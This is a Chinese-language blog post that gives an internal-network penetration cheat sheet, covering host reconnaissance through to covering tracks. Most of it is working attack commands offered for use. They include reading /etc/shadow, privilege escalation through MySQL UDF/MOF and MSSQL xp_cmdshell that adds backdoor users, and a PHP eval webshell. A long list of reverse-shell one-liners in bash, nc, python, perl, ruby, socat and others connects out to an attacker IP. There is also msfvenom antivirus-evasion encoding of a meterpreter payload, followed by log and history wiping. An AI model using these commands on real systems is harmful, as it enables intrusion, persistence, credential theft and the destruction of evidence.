• 内网渗透


    1.信息收集

    1.1.windows

    • 1.1.1用户操作

      • query user #查看当前在线的用户
        whoami #查看当前用户
        net user #查看当前系统的用户
        net1 user #查看当前系统的用户
        net user /domain #查看当前域里面的用户
        net user administrator #查看当前用户的详细信息
        net localgroup #查看本地用户组
        net localgroup administrators #查看管理组中的成员
    • 1.1.2网络操作

      • ipconfig /all #查看当前机器的ip
        netstat -ano #查看有哪些网络连接端口
        net view #查看在同一工作组中的机器
        net view /domain #判断是否有域
        route print #查看路由表
        arp -a #查看arp表
    • 1.1.3系统操作

      • set #查看系统的环境变量
        systeminfo #查看当前操作系统信息,关注【补丁号】!!!!
        tasklist #查看进程名称以及PID号
        net start #查看服务
      • 软件安装信息查询

        dir /a "c:program files" #查看当前系统的安装的软件
        dir /a "c:program files (x86)"

        收集hash

    • 1.1.4主动搜集

      • 搜索文件

        • @echo off
          set “FileName=password.txt”
          echo searching..
          for %%a in (C D E F G H I J K L M N O P Q R S T U V W X Y Z) do (
          if exist %%a: (
          for /f “delims=” %%b in (‘dir /a-d /s /b “%%a:*%FileName%” 2^>nul’) do (
          if /i “%%~nxb” equ “%FileName%” (
          echo,%%b))))
      • 判断主机存活

        • @echo off
          for /l %%i in (1 1 254) do ping -v 4 -n 1 192.168.5.%%i || find “TTL” >>hots.txt
          pause
    • 1.1.5用户习惯收集

      • 用户桌面信息收集

        • C:Users用户名Desktop
      • 下载目录信息收集

        • C:Users用户名Download
        • 迅雷
        • 百度云
      • 收藏夹信息收集

        • chrome

          • C:Users用户名AppDataLocalGoogleChromeUser DataDefault
        • ie

          • C:Users用户名Favorites
        • firefox

      • 浏览器记录收集

      • 聊天工具收集

        • qq
        • 微信
      • 系统日志收集

        • 登录日志
        • 服务日志

    1.2.linux

    • ifconfig
      route #查看路由
      whoami #
      id #查看当前用户id
      id test #查看test用户信息
      w #查看当前系统活动用户
      lastlog #查看用户登陆日志
      grep MemTotal /proc/meminfo #查看系统内存总量
      
      cat /etc/passwd #查看用户列表
      cat /etc/shadow #获取用户hash
      cat /etc/group #查看用户组
      grep -v -E “^#” /etc/passwd | awk -F: ‘$3 == 0 { print $1}’ # 列出超级用户
      awk -F: ‘($3 == “0”) {print}’ /etc/passwd #列出超级用户
      
      netstat –an
      netstat -antlp #查看tcp连接
    • 系统类型和内核版本

      cat /etc/issue #查看系统名称
      cat /etc/lsb-release #查看系统名称、版本号
      uname -a #查看内核信息
      ls /root |grep vmlinuz #查看内核信息
    • 进程信息

      ps aux #查看进程信息
      ps -ef
    • 安装的软件包和服务

      dpkg -l #查看安装的软件包
      rpm -qa #查看安装的软件包
      cat /etc/service #查看系统存在的服务
    • 用户登录信息

      /var/log/wtmp
      /var/log/btmp
    • 服务配置

      cat /etc/syslog.conf
      cat /etc/chttp.conf
      cat /etc/lighttpd.conf
      cat /etc/cups/cupsd.conf
      cat /etc/inetd.conf
      cat /etc/apache2/apache2.conf
      cat /etc/my.conf
      cat /etc/httpd/conf/httpd.conf
      cat /opt/lampp/etc/httpd.conf
    • 网络配置

      cat /etc/network/interfaces #网卡配置
      cat /etc/resolv.conf #dns配置
      hostname #查看主机名
    • 网络拓扑收集

      arp –a
    • 日志信息收集

      /var/log/*
      
      #http日志
      /var/log/apache2/access.log
      #mysql日志
      /var/log/mysql/error.log
      #apt日志
      /var/log/apt/history.log
    • /home目录文件信息收集

    1.3第三方

    • ssh
    • ftp
    • mail
    • mysql
    • mssql

    2.提权

    windows

    • 系统漏洞,ms系列

    • 应用程序

      • pcanywhere

      • serv-U

        • 默认本地管理端口是:43958,默认管理员:LocalAdministrator,默认密码:#l@$ak#.lk;0@P

    linux

    服务提权

    • mysql

      • UDF提权

        • windows

          • UDF

            • mysql版本 < 5.1 , UDF导出到系统目录c:/windows/system32/
            • mysql版本 > 5.1 ,UDF导出到安装路径MySQLLibPlugin
        • linux

          • /usr/lib/mysql/plugin/
        • 要求有写权限,单引号未被过滤

      • MOF

        • windows专属

          • 流程:
            1、 首先找个可写的目录,将我们的MOF文件上传上去。
            2、 执行以下sql语句,mof文件内的命令便会执行。
            select load_file('C:/wmpub/nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof'
          • mofcomp.exe xxxxx.mof 执行mof文件
          • 调用Imofcompiler接口的$complieFile方法
          • #pragma namespace("\.
            ootsubscription")
            instance of __EventFilter as $EventFilter
            {
            EventNamespace = "RootCimv2";
            Name = "filtP2";
            Query = "Select * From __InstanceModificationEvent "
            "Where TargetInstance Isa "Win32_LocalTime" "
            "And TargetInstance.Second = 5";
            QueryLanguage = "WQL";
            };
            instance of ActiveScriptEventConsumer as $Consumer
            {
            Name = "consPCSV2";
            ScriptingEngine = "JScript";
            ScriptText =
            "var WSH = new ActiveXObject("WScript.Shell")
            WSH.run("net.exe user secist 123 /add")";
            };
            instance of __FilterToConsumerBinding
            {
            Consumer = $Consumer;
            Filter = $EventFilter;
            };
    • mssql

      • xp_cmdshell

        • 开启:
          EXEC sp_configure 'show advanced options', 1;
          RECONFIGURE;
          EXEC sp_configure 'xp_cmdshell', 1;
          RECONFIGURE;
        • exec xp_cmdshell 'net user test test /add'
      • xp_regwrite

      • xp_regread

    • tomcat

      • 弱口令爆破

    3.权限维持

    windows

    • cmd命令

      • 写webshell

        • 1.使用cmd命令写webshell,带有<>以及“空格”的时候,需要使用^进行转义
          例如:
          echo ^<?php^ eval($_POST[a]);?^> > shell.php

    linux

    cobaltstrike

    • 生成后门

      • 以管理员方式运行

    msf

    • meterpreter
    • msfvenom
    • exploit

    4.跨边界传输

    跨边界代理/转发

    • 端口转发

      • lcx

        • listen

          • -listen
          • 将port1监听到的数据发往port2
        • tran

          • -tran
          • 将本地port开启监听,并且将监听到的数据发往远程端口
        • slave

          • -slave
          • 将远程主机A的port与远程主机B的port双向转发
      • frp反向代理

        • frps -c frps.ini
        • frpc -c frpc.ini
    • 内网代理

      • http tunnel

        • reDuh

        • reGeorg

          • 1.python2 安装urllib3库
          • 2.上传tunnel.nosocket.php代理脚本到web服务器
          • 3.访问url,确认web服务器上tunnel.nosocket.php能够执行
          • 4.python2执行reGeorgSocksProxy.py脚本,连接tunnel.nosocket.php
          • 5.配置本地代理,使用代理工具进行sock5代理
      • ssh tunnel

        • xshell直接启动隧道转发
        • ssh -D设置socket隧道
        • ssh -L设置端口正向转发
        • ssh -R设置端口反向连接
      • DNS tunnel

        • dns2tcp
      • pingtunnel

        • 服务端-type server
        • 连接端-type client

    反弹shell

    • 1.nc

      • 正向连接

        • 攻击机

          • nc -vv 受害者ip 受害者port
        • 受害者

          • nc -lvvp 受害者port -e /bin/bash
      • 反向连接

        • 攻击机

          • nc -lvvp 攻击机port
        • 受害者

          • nc -vv 攻击机ip 攻击机port -e /bin/bash
      • 聊天/传文件

        • 发送方

          • nc -lvvp 自己的port < 文件
        • 接收方

          • nc -vv 发送方ip 发送方port > 文件
    • 2.bash

      • 接收端(hackip,公网)

        • nc -lvvp 端口
      • 发送端(受害者)

        • bash -i >& /dev/tcp/hackip/hack端口 0>&1
          0<&31-;exec 31<>/dev/tcp/hackip/hack端口;sh <&31 >&31 2>&31
    • 3.socat

      • tcp

        • 接收端(攻击机)

          • socat TCP-LISTEN:端口 -
        • 发送端(靶机)

          • linux

            • socat exec:'bash -i',pty,stderr,setsid,sigint,sane tcp:攻击机ip:攻击机端口
          • windows

            • socat.exe exec:'cmd.exe',pty,stderr,setsid,sigint,sane tcp:攻击机ip:攻击机端口
      • udp

        • 接收端(攻击机)

          • socat udp-listen:端口 -
        • 发送端(靶机)

          • linux

            • socat udp-connect:ip:port exec:’bash -i’,pty,stderr,sane 2>&1>/dev/null &
          • windows

            • socat.exe udp-connect:192.168.5.108:30000 exec:’cmd.exe’,pty,stderr,sane
    • 4.python

      • 接收端(攻击机)

        • nc -lvvp port
      • 发送端(靶机)

        • python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("接收端ip",接收端端口));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
    • 5.PHP反弹

      • 接收端(攻击机)

        • nc -lvvp port
      • 发送端(靶机)

        • php -r ‘$sock=fsockopen(“接收端ip”,接收端端口);exec(“/bin/sh -i <&3 >&3 2>&3”);’
    • 6.JAVA反弹

      • 接收端(攻击机)

        • nc -lvvp port
      • 发送端(靶机)

        • r = Runtime.getRuntime() p = r.exec([“/bin/bash”,”-c”,”exec 5<>/dev/tcp/192.168.31.41/8080;cat <&5 | while read line; do $line 2>&5 >&5; done”] as String[]) p.waitFor()
    • 7.perl反弹

      • 接收端(攻击机)

        • nc -lvvp port
      • 发送端(靶机)

        • perl -e ‘use Socket;$i=”ip”;$p=port;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,”>&S”);open(STDOUT,”>&S”);open(STDERR,”>&S”);exec(“/bin/sh -i”);};’
    • 8.ruby反弹

      • 接收端(攻击机)

        • nc -lvvp port
      • 发送端(靶机)

        • ruby -r socket -e ‘exit if fork;c=TCPSocket.new(“ip”,”port”);while(cmd=c.gets);IO.popen(cmd,”r”){|io|c.print io.read}end’
    • 9.telnet反弹

      • 接收端(攻击机)

        • nc -lvvp port
      • 发送端(靶机)

        • mknod backpipe p && telnet ip port 0<backpipe | /bin/bash 1>backpipe
    • 10.lua反弹

      • 接收端(攻击机)

        • nc -lvvp port
      • 发送端(靶机)

        • lua -e “local s=require(‘socket’);local t=assert(s.tcp());t:connect(‘ip’,port);while true do local r,x=t:receive();local f=assert(io.popen(r,’r’));local b=assert(f:read(‘*a’));t:send(b);end;f:close();t:close();”
          11.awk反弹
      • 接收端(攻击机)

        • nc -lvvp port
      • 发送端(靶机)

        • awk ‘BEGIN{s=”/inet/tcp/0/ip/port”;while(1){do{s|&getline c;if(c){while((c|&getline)>0)print $0|&s;close(c)}}while(c!=”exit”);close(s)}}’
    • 12.ksh/tsh/zsh/sh

      • 接收端(攻击机)

        • nc -lvvp port
      • 发送端(靶机)

        • ksh -c ‘ksh >/dev/tcp/ip/port 2>&1 <&1
    • 13.通过msfvenom生成反弹shell的payload

      • 1.msfvenom -l payloads | grep 工具
        2.msfvenom -p payload LHOST=监听机IP LPORT=监听端口
    • 14.icmpsh

      • 接收端

        ./icmpsh-m.py

      • 发送端

        • icpmsh.exe -t 接收端ip

    文件传输

    • 1.nc传输
    • 2.上传点上传
    • 3.wget下载
    • 4.脚本php/python/perl/ruby发起请求并读写文件
    • 5.ftp
    • 6.sftp
    • 7.svn
    • 8.git
    • 9.sync
    • 10.powershell
    • 11.net use 挂载盘符
    • 12.bitsadmin
    • 13.scp

    5.隐匿攻击

    免杀

    • msfvenom

      • encoder
        编码器

        • -e 编码器 -i 编码次数

        • 多次编码

          • msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.5.172 lport=4444 -e x86/shikata_ga_nai -i 15 -f raw | msfvenom -a x86 –platform windows -e x86/alpha_upper -i 10 -f exe -o shell.exe
      • bad-chars
        花指令

        • -b ‘x00’
    • the-backdoor-factory

    • veil

    • upx

      • 加壳
    • .net壳

    • 分离免杀

      • shellcode提取,动态加载

    msf/cs

    • msf发往cs
    • cs发往msf

    6.横向移动

    7.域渗透

    瞄准域控(DC机)发起攻击

    8.痕迹清理

    windows

    linux

      • /var/log/btmp
        /var/log/wtmp
        ~/.bash_history
        history -c
  • 相关阅读:
    详解REMOTE_ADDR,HTTP_CLIENT_IP,HTTP_X_FORWARDED_FOR
    HTTP Header 详解
    搜索引擎爬虫蜘蛛的useragent
    PHP防抓取数据curl 解决方法
    用curl抓取网站数据,仿造IP、防屏蔽终极强悍解决方式
    windows下 composer常见问题及处理
    Composer命令详解
    SSM框架之RestFul示例
    关于SpringMVC返回数据带斜杠字符串问题之解决方案
    js之radio应用实例
  • 原文地址:https://www.cnblogs.com/0day-li/p/13432958.html
Copyright © 2020-2023  润新知